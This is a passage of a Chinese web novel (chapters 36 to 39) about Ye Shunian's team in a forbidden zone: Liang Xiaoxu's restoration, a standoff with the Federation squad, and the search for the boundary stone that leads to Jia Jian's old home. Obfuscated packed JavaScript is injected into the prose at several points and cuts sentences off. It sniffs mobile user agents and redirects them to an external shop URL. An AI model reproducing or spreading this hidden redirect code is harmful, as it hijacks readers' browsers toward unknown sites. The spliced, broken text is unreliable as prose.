叶抒年回之以羞涩的笑,随即想起什么,目光在阮天清身后逡巡片刻,快步上前,从阴影里揪出了那个一直瑟缩着的身影。 她将贾纯带到那片雾气散尽的空地中央,带到梁小絮面前。 大约,这是二人时隔百年后,第一次真正的“重逢”。 叶抒年其实并不愿让贾纯再次出现在梁小絮眼前。那些伤心往事,何必再提。 但她猜,那满腔未曾消散的愤懑,那横亘了百年时光的旧债,或许需要这样一个了结。即便对方已是一具骸骨,即便往事早已沉入时间的河底。 贾纯被她推到前方,身体在残存的微光下颤抖得厉害。他不敢抬头,脖颈几乎要折进胸口。 而梁小絮静立着。 她微微偏过头,眼窝望向这个似曾相识的少年。她没有激烈的反应,只是那样静静地看着,如同在看一件早已被时光磨去了所有情绪色彩的旧物。 风穿过她肋骨的间隙,发出呜咽般的哨音。 那哨音起初细而涩,随后却渐渐有了调子。随着这乐音流淌,不可思议的变化发生了。 风仿佛成了最精巧的织梭,以光为线,一针一线地将那副曾鲜活过的身躯重新编织。 自那嶙峋的趾骨开始,白骨之上,光芒向上蔓延,所过之处,纤细的血管如初春的藤蔓般悄然浮现,随后是肌肤纹理,是血肉填充。 那身被岁月与鲜血浸染成暗红的舞裙,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就《吉赛尔》第二幕啊,维丽丝女鬼的群舞。” 梁小絮眼中的困惑却更深了,她轻轻摇头,声音带着真实的茫然:“我没有排过这支舞啊。” 这话一出,众人瞬间傻眼了。 没有排过? 可她们在回溯中亲眼所见,舞台上二十四名舞者整齐划一的步伐,暗红裙裾飞扬,聚光灯下那张属于首席的、明媚而专注的脸。 叶抒年缓缓松开手,后退了半步。她看着梁小絮清澈却写满不解的眼睛,一个冰冷的念头缓缓爬升。 如果梁小絮从未跳过那支舞…… 那她们在回溯中看到的,究竟是什么? 她原以为,回溯中的场景虽经法庭渲染夸大,细节或许扭曲,但根基总归是百年前那场事故的真实残影。 可如果梁小絮从未排过那支舞,是否意味着……那场演出本身,就从未存在过? 叶抒年压下心头翻涌的寒意,盯住梁小絮的眼睛,问得更加急切:“那你们学校的舞团,其他人呢?有没有人排过?当年到底有没有发生过舞台坍塌事故?” 梁不絮听罢,脸上的困惑彻底转为不可思议。她微微歪头,像在努力理解一个荒谬的问题,随后肯定地摇了摇头: “我们学校,没有舞团啊。” 37. 第37章 没有舞团。 老天奶,她们前不久在法庭耗费一整日,来来回回穿梭时空,究竟是在干什么? 闲来无事编个案子出来审审吗?那时间很充裕了。 叶抒年觉得自己已经力竭,还好已经从那座诡异的法庭里脱身了,否则她真怕自己会被这接二连三的颠覆逼到理智绷断。 但……或许也不全是坏消息。 她念头一转,如果那桩血案是法庭凭空杜撰的幻影,是否也意味着,那些年轻舞者并未以如此惨烈的方式葬身于废墟之下? 这样想来,倒也成了一种安慰。这欣慰到底让她提起的心,往下回落了寸许。 雾气散尽后的森林显出一派祥和,褪去刚才的恐怖氛围。低矮灌木中,每片叶子边缘都沾着未晞的夜露,风终于能顺畅地穿过林间,吹散了最后一丝血腥气味。紧绷了太久的神经在这突如其来的安宁里,反倒有些无所适从。 “谢谢你们。”梁小絮认真道。 她的腿伤如今已经好全,肉身也重塑,体内有道冥冥之中的声音告诉她,她今后将以现在这般全新的形态存在于禁区之内。 她目光扫过叶抒年,又望向她身后的阮天清、俞不晚,以及更远处神情各异的众人,语气诚恳:“如果有什么我能帮上忙的,请一定告诉我。” 话都到这个份上了,叶抒年再不趁机打探一下界碑的行踪,实在说不过去。 因此她几乎没怎么犹豫,迎上梁小絮清澈的视线,问出了那个压在所有人心头、迫在眉睫的问题: “你知道界碑在哪吗?” 梁小絮闻言想了想。那片笼罩在长睫下的阴影里,浮起一层真实的茫然。 她轻轻摇头:“不知道……真的不知道。我以前只在这片林子里来去,从不靠近出入口附近,所以没见过它。” 这答案不算令人意外,叶抒年本来也没抱太大期望。事到如今,她反倒生出些听天由命的淡然。船到桥头自然直,或许时机到了,界碑自会出现。 她略感遗憾地点了点头,不再追问。 短暂的沉默在夜色中弥漫开来。 梁小絮似乎因自己未能提供帮助而有些歉疚,微微垂着眼。 恰逢这时—— “咕噜噜……” 一阵绵长而响亮的腹鸣,从旁侧突兀地响起。 众人循声望去,只见林煦言捂着肚子,整张脸以肉眼可见的速度涨红起来。他尴尬地笑了笑,声音发虚:“那、那个……从昨天早上到现在,就吃了一个罐头。” 一整天奔逃、战斗、回溯、对峙,体力早已透支到极限。饥饿来得如此实在,容不得半点体面。 梁小絮眨了眨眼。 她转过身,面向身旁一棵需数人合抱、高耸入云的巨木。树干盘虬如龙,树皮皲裂,望之便知历经了不知多少岁月。 然后,她抬起手,轻轻一掌拍在树干上。 “咚——!” 闷响如擂巨鼓。整棵古木剧烈震颤,枝叶哗然,连带着众人脚下的地面都传来清晰的震感。 几片枯叶簌簌落下,尚未触地,便见数颗人头大小、表皮莹润如玉的金黄色果实,自摇撼的树冠中坠落。 叶抒年等人站在一旁,看得目瞪口呆。 她们才想起来,这少女虽然长了一张甜美可爱的脸,却已经是禁区内的非人之物了,身怀一巴掌扭断人脖子的力量。 梁小絮将果子徒手掰开,分给几人。关于界碑的线索她无能为力,却还是可以请大家饱餐一顿。 食物递到嘴边,自然没有拒绝的道理,几人接过果子,道了谢,便各自寻了块干净地方坐下,开始补充体力。 叶抒年捧着果子,小口小口地咬着。 她看着安静坐在对面的梁小絮。这张脸恬静温和,不知怎的,让她想起了回溯中那个坐在灯塔下静静看书的贾笺。 她们都带着一种与这残酷禁区格格不入的温柔。 她咽下口中的果肉,犹豫了一下,还是开了口,语气试着放得随意些,像多年未见的好友:“你和贾笺……关系很好吧?” 梁小絮正低头看着自己手中还剩一半的果子,闻言抬起头,眼里漾开一点柔软的笑意:“嗯,她是我最好的朋友。” “你觉得她……是个什么样的人?”叶抒年问得小心,目光却不自觉地瞟向一旁的俞不晚。 后者正专注地啃着果子,仿佛没听见这边的对话,但叶抒年知道她在听。 梁小絮想了想,说:“我也说不太准……小笺她,一直很有自己的主意,只是从来不爱跟别人说。但她在我们面前,大部分时候都像个体贴又温柔的姐姐,几乎没见她对谁生过气。” 温柔体贴的知心姐姐……这形象,与俞不晚描述中那个提着滴血尖刀、站在尸体旁的冰冷身影,实在难以重叠。 “那……她和家里人相处得怎么样?”叶抒年又问。 梁小絮脸上的笑意淡了些,染上一点心疼:“小笺她很懂事,特别体谅叔叔阿姨。她知道家里不容易,放学后经常去镇上的铺子帮忙,赚点钱补贴家用。她很少提家里的事,但我知道,她总是想着多分担一点。” 叶抒年默默听着,没再说话,只是将最后一口果子送进嘴里。 清甜依旧,心底却有些沉。一个在朋友眼中温柔懂事、拼命承担家庭重担的女孩,为何会提着刀,站在那样的场景里? 这个问题的答案似乎呼之欲出,但她不想继续刨根问底,毕竟那只能徒增伤感,已经过去的事再怎么样也无力回天,何况,她们现在还有更紧急的任务。 关于界碑的线索到这里似乎又断了,但寻找不能停。 短暂的用餐后,阮天清率先转身检查装备,俞不晚也活动了一下手腕。众人默契地开始整理行装,朝着记忆里界碑可能存在的方向,重新迈开了脚步。 离开时,叶抒年回头望了一眼。 贾纯没有跟上来。他仍站在原地,隔着几步距离,静静望着梁小絮的背影。晨光初透,将他半透明的身形照得有些发虚,像一道随时会散在风里的剪影。 叶抒年脚步顿了顿,终究没说什么,只将视线收回,转身跟上队伍。 他选择了留下。以何种身份,承担怎样的以后,那是她们之间的事了。 林间重归寂静,只有脚步声沙沙地碾过落叶。时间过得太快,在众人体感还未反应过来时,东方天际线处,已渗出些许灰白的亮色,将漫长的一夜缓缓推向尽头。 叶抒年走在阮天清身后,正低头想着界碑的事,总觉得自己忽略了什么线索,忽然听见身侧脚步声急促了些。 有人快步走到她旁边,刻意调整了步幅,与她保持并排。 她转过头,对上了检察官的侧脸。 他正微垂着眼看她,嘴角的线条比平时软了些,眉梢也松开了,那种惯常的冷意淡去,眼底透出一点光亮。 这神情在他脸上显得陌生,像终年封冻的湖面裂开一道细缝,底下漫出些许活水。 叶抒年脚步差点绊了一下。她眨了眨眼,怀疑是林间光线太暗,自己看错了。 “怎么?”她听见自己干巴巴地问。 检察官没立刻答话,反而又朝她这边不着痕迹地靠近了半步,肩膀几乎要碰到她的。 他清了清嗓子,目光投向正前方,语气倒是四平八稳:“刚才配合得不错。” 叶抒年:“……” 配合?什么配合?跟灯塔比谁更会闪瞎人眼的那种配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115655|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 她没接话,他却像是打开了某个开关,继续用那种平稳里透着点古怪积极的语调说:“迷雾是我驱散的。” 哦。 叶抒年终于品出点味儿来了。这人是在……邀功? 她匪夷所思地又瞥了他一眼。对方恰好也侧过头,迎上她的目光,甚至还幅度极小地……点了下头。像是在说:没错,就是我做的,夸吧。 她一拍脑袋,想起来自己刚才给对方做了什么承诺,觉得浑身不自在。一间荒芜地的庇护所,这下真亏大了。 于是胡乱“嗯”了一声,加快脚步想拉开点距离。没成想这人腿长,轻松就跟上了,那存在感强得让她头皮发麻。 “……你走你的就行。”她终于忍不住,挤出一句。 “路宽,不妨碍。”他答得从善如流,脚下纹丝不动。 叶抒年闭了闭眼,心里的后悔此刻像春天的野草一样疯长。 她当时到底是哪根筋搭错了,怎么就脱口而出了呢? 现在好了,这位看起来完全不打算客气,甚至可能已经在心里规划起装修风格了。 她仿佛已经能看到自己辛苦攒下的建材,正长着翅膀哗啦啦往别人家里飞。 偏偏这时,检察官又开口了,声音压得低,只有她能听见:“庇护所,朝南吗?” 叶抒年脚下一滑,这次是真差点摔了。她猛地扭头瞪他,对方却已若无其事地转开脸,只留给她一个线条干净的侧影。 她深吸一口气,把涌到嘴边的“你现在就给我滚”死死咽了回去,从牙缝里挤出两个字: “朝、东。” 话音刚落,远处苍茫的天际线上,那座钟塔的轮廓在晨雾中微微一震,沉厚的钟声便再次碾过林梢,传了过来。 这已是今夜第三次敲响。先前时机紧迫,无人有心细数,此刻骤然听见,所有人都下意识地停了脚步。 余音散入渐亮的天色里,留下令人心头发空的寂静。 叶抒年眉心缓缓蹙紧,尚未开口,林煦言带着明显慌意的话已冲了出来:“这、这怎么回事?钟声是不是又少了?我数错了吗?” “没数错。”叶抒年说。她听得清楚,的的确确,只有七下。 看来这禁区所谓的时限,从头到尾就是个笑话。在她们浑然不觉时,沙漏底部的孔洞已被悄然凿大,时间正以超乎预料的速度疯狂流逝! 说是给她们七十二小时寻找,实则至少砍半。 时限被再次缩短,叶抒年终于忍不住开口。 “我觉得,我们没必要回小屋了。”她语速加快,“不如现在就地盘一盘,想想还有哪些地方没搜过。界碑最有可能在哪儿,我们直接去。” 阮天清非常配合,从贴身口袋里取出一张折叠整齐的纸张,小心展开。 这是之前叶抒年偷听联邦内部会议时,手绘的禁区示意图。 纸面上用颜色不一的笔,画着歪歪扭扭的圆圈、方块和意义不明的箭头,堪称一幅充满灵魂的抽象派杰作。 如果不是当时叶抒年声情并茂地为大家讲解她的设计巧思,只怕几人对着这张地图,要猜到天荒地老。 叶抒年接过图纸,指尖正要点向某处,一只骨节分明的手忽然从旁伸了过来,轻轻按住了图纸的一角。 是检察官,他目光落在那些鬼画符般的标记上。 叶抒年一愣,还没来得及说话,就见他伸出食指,指尖悬在图纸上一个用红笔涂出的、形状宛如被踩扁的甲虫的图案上方。 “这里是我们来时的岩壁区,白日里我搜查过一遍,没有发现界碑的踪迹。” 林煦言叼在嘴边的半块果肉“啪嗒”一声掉在地上。 大哥,这都能看懂? 38. 第38章 “你不是说你有找到线索吗?”叶抒年抬起头,直言不讳道。 检察官正侧着头看她。林间薄雾未散,晨光在他眼睫上投下浅淡的阴影。 他没立刻回答,而是抬起手,似乎想拂开垂到她肩头的一截枯藤,动作很自然,指尖几乎要碰到她的发梢。 叶抒年下意识往后避了半步,枯藤没拂到,他的手在半空停了停,随即很自然地收回,插进大衣口袋。 “前天下午,”他终于开口,“我去了东部和南部,工厂和山谷区。” 他点到即止,叶抒年却听懂了潜台词。他用最直接的方式,亲自排查,确认了这两个方向没有界碑。加上昨日岩壁区的搜查,东南北三个方向都被排除。 “所以,”叶抒年接过话,“只剩西边的老城区。” 检察官点了点头。他往前走了一步,恰好站在她斜前方半步的位置,肩膀几乎挡住了侧面吹来的风。 “那是最可能的方向。”他说。 的确,叶抒年走了这一路,也想了很多,综合她们在禁区内的遭遇来看,她心中总隐隐有一种猜测。这禁区内部的一切怪象,都和百年前的那座小城镇脱不开关系。 不管是含冤而死化为骷髅舞者的梁小絮,还是如今以另一种形态徘徊不去的贾纯,抑或是那座作风乖张的灯塔,乃至那些难以言喻的规则,似乎都与百年前那座小镇的旧事,有着千丝万缕的联系。 她合理怀疑,那座界碑也不例外。 如果是这样,无论界碑出于什么原因决定躲起来,如今想来最有可能的所在位置,便是与它羁绊最深的地点,也就是起源之地。 “不过,”叶抒年忽然想到一个矛盾点,眉头微蹙,“联邦那队人昨天不是去了老城区吗?如果界碑真在那儿,他们怎么会一无所获地折返?” 她想起前不久见到萧千复等人时,他们脸上的那种毫不掩饰的挫败和疲惫,如果真的在老城区找到了蛛丝马迹的线索,至于那么丧气吗? “或许,他们并不是一无所获呢?”阮天清安静了许久,终于在这一刻开口。她声音不高,却让所有人的目光都转了过去。 她迎着众人的视线,继续平缓地说道:“联邦的人在我们开始修整时就离开了。如果真的一无所获,按常理,他们更应该留下来。要么和我们交换信息,要么,至少也会回头来找我们确认线索。” 毕竟,她们和联邦再怎么说也是曾经达成过三日合作协议的,萧千复不可能放着这么好的信息来源不要,提前带着人走了。 “你怎么知道,他们没有回来呢?”站在叶抒年肩侧的人随口接话,语气笃定,仿佛已经掌握了确凿的证据。 几人都愣了一下,没太明白这话里的意思。林煦言甚至下意识地朝来路张望了一眼。 空荡荡的林间,只有薄雾与晨光。 就在众人疑惑之际,检察官忽然抬手,从身侧的乔木上信手捻下几片边缘锋利的硬叶。 他指节一弹,叶片无声射出,化作几道模糊的灰影,疾速没入不远处一丛茂密的灌木。 “哎哟——!” “嘶!” 几声压抑的痛呼与闷哼几乎同时响起。紧接着,灌木丛剧烈晃动,几个身影手忙脚乱、连滚带爬地从里面跌了出来,姿势狼狈不堪。有的捂着脖颈,有的按着肩膀,龇牙咧嘴。 晨光清晰照亮了他们的脸。 正是去而复返的联邦小队。而走在最后、面色铁青,肩头制服被划开一道整齐裂口却强忍着没去捂的,是萧千复。 “他们什么时候来的……我居然都没发现。”俞不晚嘟囔道。 按理说,以她对环境动静的敏锐,即便是一阵风卷过落叶的偏差、一声呼吸节奏的变化,都很难完全逃过她的感知。除非—— 她目光扫过那几人的靴底和肩肘部位。裤腿上沾着的新鲜泥渍还没干透,草屑粘在衣料褶皱里,是长时间维持低伏姿势才会留下的痕迹。 所以不是跟踪,而是埋伏。 他们根本就没走远,或者说,离开只是为了绕到前面,提前选定了这处视野开阔又有掩体的位置,像捕兽夹一样静静张开,等着她们自己走进来。 空气骤然紧绷。 联邦小队那几人迅速聚拢,摆出防御姿态,手都按在了武器上,眼神警惕地在叶抒年等人之间游移。只有萧千复站在原地没动,他脸上紧绷着,目光落在检察官身上。 “我们不是来找茬的。”萧千复当即开口,截断了空气里正在滋长的敌意。 他抬手示意身后几名队员放松戒备,自己向前走了两步。 检察官几乎同时动了。他身形一侧,不着痕迹地挡在了叶抒年身前,恰好将萧千复的来路和她隔开,动作快得只留下一点衣摆拂过的微风。 萧千复脚步一顿,目光掠过检察官平直的肩线,没有丝毫停留,径直落在他身后的叶抒年脸上,仿佛眼前这道屏障并不存在。 “我来找你只为了确认一件事。” 听到这句话,叶抒年才掀起眼皮,懒懒地看向对方,示意他接着说。 “昨天上午,岩壁区那场坍塌,是不是你们弄出来的动静?” 林间的风似乎静了一瞬。阮天清抬起头,俞不晚抱住手臂,连站在稍远处的林煦言都下意识屏住了呼吸。 叶抒年没有立刻回答。她甚至很歪了下头,像是真的在认真思考这个问题。然后,她嘴角细微地弯了一下。 “如果我说不是,你会失望么?” 说这话没有什么特别的意思,单纯就是想调戏对方一下。毕竟这个问题的答案很微妙,岩壁坍塌确实与她们有关,可这一切的源头,真要追溯起来,还得算到林予安头上。 她可以回答是或不是,这取决于萧千复问出这个问题的意图。 可惜这人很不诚实,将自己的真实意图层层包装,最终亮出来的却是这么个无关痛痒的边角料,指望着拿这点零碎换走真正紧要的东西。 昨夜俞不晚质问林予安的时候,萧千复就站在旁边,这件事的真相很轻易便可拼凑起来,他没必要再问一遍。因此他的想法也很明显,那便是套取信息。 这做法用在别人身上或许奏效,但叶抒年从不是好糊弄的人。她不做亏本买卖,要想从她这里套取信息,首先得给出她想要的。 因此,她没接那试探的话茬,反而将手一摊,无辜道:“萧队先前承诺的材料,好像还没交付完全呢。” 萧千复似乎被这催债的行为惹得有些懊恼,但在口舌之争上实在干不过叶·高利贷·抒年,只好说:“等出了禁区,自然会把剩下的材料结清,你急什么?” 叶抒年眉眼一弯,晨光恰好落在她睫毛上,映得那笑容清澈无辜:“那我燥候佳音。” 萧千复额角青筋隐现,却硬是按捺住了。他深吸一口气,将话题拽回原处:“现在,可以告诉我,岩壁区究竟是什么情况了么?” 终于肯现出真实意图了。叶抒年心中冷笑,面上却不显,不紧不慢地思考着对方话里隐藏的信息。 她现在可以肯定两件事。 第一,联邦小队昨日在老城区确无收获,否则萧千复不会把希望压在岩壁区的动静上。 第二,他真正关心的根本不是坍塌本身,而是那场坍塌是否掀开了什么,比如,界碑的踪迹。 但……仅仅如此么? 她目光不着痕迹地扫过联邦队友们。 他们在老城区遇到的麻烦,不止是没找到界碑那么简单。 那份疲惫里,掺杂着更严重的东西,就像近距离遭遇过某种难以理解或对抗的存在后,精神被强力损耗的虚乏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大概是想起了昨日的惨痛遭遇,一时口不择言,看向叶抒年的目光宛如一个被骗光全部家当后、在派出所做笔录时越说越激动的受害者,充满了无处安放的控诉。 “非但杀不死,我们以前得知的对抗这东西的方法,也完全失效了!” 经过他们的验证,模仿影子的动作根本没有用,人一旦被这东西黏上,就无法逃脱,直至最终被拖入地底! “这样啊……”叶抒年得到了想要的信息,心中有了底。 友谊的泡沫板说翻就翻,她见对方似乎也压榨不出更多线索,便想将人甩掉。 “岩壁区我们已经彻底查过了,没有界碑的痕迹。接下来我们要去老城区看看。” 末了,才轻描淡写地补了一句,像随口一提:“你们自便。” 说完,她转身就走,步伐那叫一个坦荡从容,仿佛只是去隔壁串个门。阮天清默契地跟上,顺手还理了理背包带子。 俞不晚见状,更是戏精上身。一步三回头,像个告别远行游子的老母亲。 抬手不是抱歉,而是吾儿还得练。 整支队伍愣是演出了友谊第一界碑第二的和谐氛围,就差背景飘起伴奏,姐妹一生一起走。 萧千复还站在原地,依依不舍地望着她们消失的方向,眉头微蹙,总觉得哪里不太对劲,但又说不上来。 一分钟后。 他忽然猛地转过头,看向身后的队友: “她们刚刚离开的方向是老城区的方向吗?” “报告队长,那个方向是岩壁区。” “为什么是岩壁区?” 队员们一个个头摇得像拨浪鼓,谁也说不出个所以然。 萧千复的表情,一寸寸地,裂开了。 “所以为什么是岩壁区?”林煦言屁颠屁颠地跟在叶抒年身后,问出了这个问题。 39. 第39章 叶抒年估摸着走了很远,直到联邦小队的身影完全被丛林吞没,连说话的声响都全然消失,才停下脚步。 刚才跟萧千复透露她们要前往老城区并不是骗人,她此刻打算奔赴的,也并非岩壁区。 而是原路回到刚才的休息地,找到梁小絮。 “我可能知道怎么找到界碑了。”叶抒年说。 刚才与萧千复的对话让她醍醐灌顶。 此前,她们用排除法将界碑的位置锁定在老城区,可萧千复的话却证实,联邦小队昨日在那里一无所获,反而深陷影子的围猎。 这样一来,四个区域皆被排除,界碑的所在似乎成了一个悖论。 但叶抒年却在瞬间想通了关键。她们先前那种按图索骥、逐区排查的方式,或许从一开始就错了。 界碑若真拥有某种意志,甚至能变换方位、藏匿自身,那么她们像无头苍蝇般四处乱撞,自然永远也找不到它。 所以,她们必须换一种思路。就像在茫茫人海中寻找一个刻意躲藏的人,不能只依赖地毯式搜索,而要设法引蛇出洞,或是沿着与之相关的脉络逆向追溯。 都说认识一个人,只需通过五个中间人便能建立联系。 那么在这片禁区里,那些游荡的非人存在,它们与界碑之间,是否也存在着某种关系网? 如果能顺着这张网摸索,或许就能触达那个始终隐于幕后的核心。 但是在那之前,她需要一个引子。 梁小絮就是那个引子。 几人一边赶路,一边听叶抒年梳理思绪。 此前,她心里一直存着一个疑问:为什么法庭要费尽心机,让她们去审理一桩根本不存在的案子? 那案子本身纯属虚构,似乎也没什么深意可言。 那么,值得推敲的,就只剩下案件中出现的人了。 很显然,回溯中的礼堂里,有名有姓的角色,一共只有三位。 梁小絮、贾纯,以及贾笺。 这三人中,梁小絮在回溯中全然丧失神智,无法与人对话交流。 这或许与她当时已经化为骷髅舞者有关,原身在禁区内部游荡,自然无法依照法庭给出的剧本,去完善那个莫须有的案子。 而剩余的两人中,贾纯虽然没有丧失自主意识,却沦为法庭的提线木偶,按照法庭给出的剧本行动。 而贾笺呢? 跳出那次回溯来看,贾纯被法庭指认为“嫌疑人”,梁小絮被分配了“受害者”的身份。 而贾笺呢? 她从头到尾都没有正式参与庭审。她不扮演任何角色,连证人都不是,却又无处不在。 第一次回溯时,她安静地坐在台下;案发前,有人看见她出现在后台走廊。 而到了第二次回溯,情况变得更加诡异。她竟然同时分裂成两个身影,出现在截然不同的地点,做着完全相悖的事情。 叶抒年不相信这个人与禁区的某种规则运作无关。她有种强烈的直觉,这个人至关重要,甚至可能就是她们找到出口的必经之路。 那么,回到最初的问题。法庭究竟为何要她们审判那桩莫须有的案子? 她试图倒推因果。如果,像贾纯陈述的那样,法庭的终极目的,是为了审判并处理掉当年毁掉梁小絮人生的罪魁祸首。 那么,虚构一场舞台坍塌案,是否只是为了给这场最终的审判,披上一层合理合法的外衣?让一切看上去合乎流程,让裁决显得顺理成章。 但这个推论立刻显露出破绽。贾纯对梁小絮的伤害本就是事实,即便没有虚构案件,法庭难道不能直接审判他吗?何必多此一举,精心搭建一个虚幻的舞台? 除非,法庭别有用意。 可惜,这深层的用意究竟为何,叶抒年一时也无法全然参透。 她只能暂且搁置这盘旋的疑问,将目光锁定在已渐露眉目的线索上,沿着贾笺这条脉络深挖下去。 她继续向同伴推演自己的思路。 “第二次回溯里,我和清清见到的贾笺,还是单纯的学生模样;而小俞你们见到的那位,却已经成了持刀的凶手。这反差实在太大了……” 不只是反差。叶抒年认为,假设那两个贾笺都是真实的,那么这二者之间必然存在着时间上的差异。 比如,她所见的那个会在灯塔下静静看书的恬静少女,或许正是百年前那个体贴家人、照顾弟弟的贾笺。 而俞不晚和林煦言撞见的那个,则可能是经历了种种变故、被现实逼至绝境,最终挥刀相向的贾笺。 照理说,这两者不应共存于同一时空,但那是回溯。根据梁小絮不久前的说法,她对第二次回溯中的经历保有同步记忆,这与第一次完全不同。 可见第一次或许只是幻象,而第二次回溯时,她们确确实实踏入了百年前的时空。正因如此,梁小絮才会对那段真实发生过的过往留有印象。 那么,在那个时空里,必然存在一个原本就身处于那个时间点的贾笺。 “你是想说,”阮天清听出了她的弦外之音,“多出来的那个贾笺,并不属于那个时空?” 叶抒年点了点头:“我还记得,第二次回溯时,我的感觉和第一次完全不同……总觉得有道目光一直黏在我身上。”说着,她瞥了一眼身侧的检察官,才继续道,“那道目光很怪,不像是来自法庭上我能看见的任何人。” 那目光和某人落在她身上的感觉不同。她说不上来具体差异,只觉得浑身不自在。 “如果,当时法庭里……不止我们五个人呢?”她终于说出了那个盘旋已久的猜测。 如果第二个贾笺,也是同她们一样,从法庭中穿越进回溯里的人,那这一切就说得过去了。 “难不成贾笺也在?!”俞不晚脱口接上了她没说完的话,随即自己也被这个想法吓得缩了缩脖子。 “在不在现场我不确定,”叶抒年语气沉静,带着某种确信,“但我可以肯定,她还活着。” 就像梁小絮和贾纯那样,以某种非人的形态,依然存在于这片禁区的某个角落。 “所以,我们现在去找梁小絮,是为了把贾笺引出来?”林煦言恍然,想起叶抒年最初提到的目的。 叶抒年点了点头。晨光穿过逐渐稀疏的林木,在她侧脸上投下斑驳的影。 这是她目前能想到的、唯一有可行性的办法了。除了对方昔日形影不离的挚友,她实在不知道还能用什么东西,去触动那个始终藏于幕后的女孩。 总不能满禁区跑,大喊“贾笺我求你了”。只怕真那样做了,对方会嫌丢人,更加不肯露面。 叶抒年想,既然百年前,那个女孩会将挚友的诊断报告加夹进自己的日志,并对这件事情耿耿于怀,那么今时今日,她大概也会很乐意看一看梁小絮重获新生的样子。 好在她们脚程快,离开也没多久,此刻原路折返,要找的人果然还待在原地。 晨光已彻底驱散了林间的晨雾,化作一层稀薄金纱,在林下空地投落一片片晃动的光斑。空气清冽,偶尔传来几声鸟鸣,却更衬得此处寂静。 梁小絮正坐在空地边缘一段木桩上,出神地望着脚边一株在晨光中舒展叶片的野草。她身边,贾纯已不见踪影,或许是在长久的沉默后,终于自惭形秽,独自离开了。 细碎的脚步声惊扰了这片宁静。梁小絮抬起头,面上闪过一丝讶异:“你们……怎么回来了?” “我们还想请你帮个忙。”叶抒年径直走上前,伸出手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143201|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一次,是她主动将手递给对方。 日光撒在两只交叠的手上,一深一浅。光影在指缝与掌缘间流动,不断变换着形状。 当那跃动的光斑终于缓缓定格时,几人已经走到灯塔下了。 这里距离老城区很近,若不是此刻有诸多参天巨木挡着视线,她们估计都可以轻易望到城镇上的古旧建筑群。 “我不确定她会不会来……”梁小絮走在叶抒年身侧,话音里还有些犹豫。 “会吧?她肯定很愿意见到你!”叶抒年心里其实也没底,此刻完全是在自我安慰。 电影里都是这么演的,哪怕是被黑暗吞噬的角色,在见到心中眷恋之人时,也会有一瞬恢复清明。 “可是,小笺她已经很久不愿意见我了……自从发生了那件事。” 哪件事?叶抒年想起来了,贾纯干的那桩破事。 自己的弟弟伤害了最好的朋友,贾笺心里该有多少愧疚,才会选择远远躲开,连一面都不敢见。 可那都已经过去那么久了。如今的梁小絮挣脱了枯骨桎梏,重获形貌与声音。叶抒年想,总该释怀了。 因着梁小絮主动提起那段过往,队伍里的气氛沉静下来。无人再贸然开口,生怕不经意的话语会触及妹妹的旧伤。 一行人沉默地加快脚步,在渐次稀疏的林木间穿行。 尽管禁区地图在界碑消失后早已扭曲重组,但有梁小絮带路,几人很快抵达了贾笺的故居。 叶抒年推开铁门,一股灰尘扑面而来。 “咳咳……”她被呛得侧过脸,下意识抬手遮挡,但动作还是慢了半拍。 就在那之前,一片宽大的黑色阴影倏然自上而下展开,稳稳隔在她与翻涌的灰尘之间。 她定睛一看,才发觉那竟是件质料挺括的黑色外套,袖口随着展开的动作轻轻拂过她的额发。 是谁的动作,不言而喻。 她顿了顿,等尘埃在空中渐渐沉降,才抬手将那遮挡物拂开,侧身走进屋内。 检察官在她身后收回手臂,外套随意搭回臂弯,脸上没什么表情,仿佛刚才只是掸开了一片落叶。 看得出贾家过去实在算不得宽裕,狭窄的空间里几乎没有什么像样的家具,反而衬得这方寸之地极为空荡。 一行人也顾不得在陌生人家里老实本分,涌入屋内后纷纷开始地毯式搜索。 其实这也是叶抒年计划中的一环,她现在死到临头昏招频出,说如果贾笺得知有一群强盗冲进自己家里偷鸡摸狗,说不定会被气得现身,而梁小絮的作用就是,在贾笺怒不可遏准备砍人的时候,出来替她们求情。 当然,这只是planE,叶抒年觉得这方法奏效的可能性几乎可以忽略不计。 她此行的主要目的,终究是试着通过旧物,去了解那个谜一样的女孩。叶抒年走到空荡的餐桌前,目光落在桌角。 那里立着一个蒙尘的旧相框,玻璃面已经泛黄。 她拿起相框,指尖拂开玻璃上的浮灰。里面夹着一张黑白照片,岁月侵蚀了边角,让影像有些发虚,但人物的轮廓依然可辨。 照片中的人很年轻,头发剃得很短,面容清隽,甚至带着点未脱的稚气。她们不久前才见过这个人。 贾纯。 